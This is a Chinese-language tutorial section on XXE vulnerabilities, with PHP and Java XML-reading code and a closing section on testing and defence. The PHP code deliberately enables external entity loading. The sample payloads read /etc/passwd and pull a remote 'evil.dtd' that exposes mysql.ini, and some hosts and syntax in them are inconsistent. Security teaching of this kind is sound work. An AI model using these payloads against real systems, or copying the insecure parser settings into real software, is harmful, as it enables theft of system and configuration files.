2.11 XXE漏洞
XXE(XMLExternal Entity )是指对XML文件的外部实体进行攻击的手段。下面是一个简单的XML文件。
1.通过程序获取XML内容
<?xml version="1.0"encoding="UTF-8"?> <article> <id>1</id> <title>基于Django的电子商务网站设计</title> <link>https://baike.baidu.com/item/%E5%9F%BA%E4%BA%8EDjango%E7%9A%84%E7%94%B5%E5%AD%90%E5%95%86%E5%8A%A1%E7%BD%91%E7%AB%99%E8%AE%BE%E8%AE%A1/22948377?fr=aladdin</link> </article>
可以用PHP程序获取指定的XML信息。
<?php libxml_disable_entity_loader(false); $xmlfile =file_get_contents('test.xml'); $dom = new DOMDocument(); $dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD); $articles =$dom->getElementsByTagName("article"); foreach ($articles as $article){ $link= $article->getElementsByTagName("link")->item(0)->nodeValue; echo$link; } ?> <br><ahref="index2.php">XXE2</a>
也可以使用JAVA程序获取。
import org.w3c.dom.*; importjavax.xml.parsers.DocumentBuilder; importjavax.xml.parsers.DocumentBuilderFactory; public class readxml { //用Element方式 public static void element(NodeList list){ for (int i = 0; i <list.getLength(); i++) { Element element = (Element)list.item(i); NodeList childNodes =element.getChildNodes(); for (int j = 0; j<childNodes.getLength() ; j++) { if(childNodes.item(j).getNodeType()==Node.ELEMENT_NODE) { //获取节点 System.out.print(childNodes.item(j).getNodeName() + ":"); //获取节点值 System.out.println(childNodes.item(j).getFirstChild().getNodeValue()); } } } } public static void node(NodeListlist){ for (int i = 0; i <list.getLength(); i++) { Node node = list.item(i); NodeList childNodes =node.getChildNodes(); for (int j = 0; j<childNodes.getLength() ; j++) { if(childNodes.item(j).getNodeType()==Node.ELEMENT_NODE) { System.out.print(childNodes.item(j).getNodeName() + ":"); System.out.println(childNodes.item(j).getFirstChild().getNodeValue()); } } } } public static void main(String[] args) { //1.创建DocumentBuilderFactory对象 DocumentBuilderFactory factory =DocumentBuilderFactory.newInstance(); //2.创建DocumentBuilder对象 try { DocumentBuilder builder =factory.newDocumentBuilder(); Document d =builder.parse(".//test.xml"); NodeList sList =d.getElementsByTagName("article"); //element(sList); node(sList); } catch (Exception e) { e.printStackTrace(); } } }
当然也可以采用其他语言读取。
2.XML内部实体
<?xml version="1.0"encoding="UTF-8"?> <!DOCTYPE foo [<!ELEMENTfoo ANY> <!ENTITY title "基于Django的电子商务网站设计">]> <article> <id>1</id> <title> &title; </title> <link>https://baike.baidu.com/item/%E5%9F%BA%E4%BA%8EDjango%E7%9A%84%E7%94%B5%E5%AD%90%E5%95%86%E5%8A%A1%E7%BD%91%E7%AB%99%E8%AE%BE%E8%AE%A1/22948377?fr=aladdin</link> </article>
在这里title变成了一个变量,在XML文件开头部分定义变量的值。通过程序获取title的值仍旧为“基于Django的电子商务网站设计”
3.XML外部实体
<?xml version="1.0"encoding="UTF-8"?> <!DOCTYPE foo [<!ELEMENTfoo ANY> <!ENTITY title SYSTEM"file:///etc/passwd>]> <article> <id>1</id> <title> &title; </title> <link>https://baike.baidu.com/item/%E5%9F%BA%E4%BA%8EDjango%E7%9A%84%E7%94%B5%E5%AD%90%E5%95%86%E5%8A%A1%E7%BD%91%E7%AB%99%E8%AE%BE%E8%AE%A1/22948377?fr=aladdin</link> </article>
通过SYSTEM "URI://" 可以定义XML外部实体从而访问文件,如果文件为关键文件,那么就造成了XXE漏洞。上面的XML文件,通过程序获取title的值为/etc/passwd的内容。(当然/etc/passwd对WEB应用程序是可读的)。
除了file外还可以使用http,ftp等关键字,如10为各种语言支持的XML外部实体关键字。
10 各种语言支持的XML外部实体关键字
Libxml2 |
PHP |
JAVA |
.NET |
file |
file |
http |
file |
http |
http |
https |
http |
ftp |
ftp |
ftp |
https |
php |
file |
ftp |
|
compress.zlib |
jar |
||
compress.bzip2 |
netdoc |
||
data |
mailto |
||
glob |
gopher * |
||
phar |
由于XML外部实体支持http协议,所以可以访问远端的机器上的关键文件内容。继续改造上面XML文件。
<?xml version="1.0"encoding="UTF-8"?> <!DOCTYPE foo [<!ELEMENTfoo ANY> <!ENTITY title SYSTEM"http://192.168.0.3:8080/evil.dtd" > %title;]> <article> <id>1</id> <title>&mytitle;</title> <link>https://baike.baidu.com/item/%E5%9F%BA%E4%BA%8EDjango%E7%9A%84%E7%94%B5%E5%AD%90%E5%95%86%E5%8A%A1%E7%BD%91%E7%AB%99%E8%AE%BE%E8%AE%A1/22948377?fr=aladdin</link> </article>
在192.168.0.127机器80端口的path目录下存在一个名为evil.dtd的文件,其内容为。
<!ENTITY mytitle SYSTEM"file:///c:/mysql/mysql.ini">
通过运行在本地的程序代码即可获取192.168.0.127机器上的mysql.ini信息。
4.XXE的测试方法及防护方法
对于XXE测试,作者认为最好是基于代码通过静态扫描和代码审核的方法,或者可以借助类似BurnSuite工具来进行文件包含漏洞的测试。主要确保的XML文件是否存在外部实体访问,如果存在外部实体访问是否有一定的安全策略维护。关于XXE的防护方法参看3所示。在不必要的前提下尽可能不要采用XML的外部实体。另外管理好操作系统中重要文件的文件读、写、执行权限也是做好XXE防护有效手段。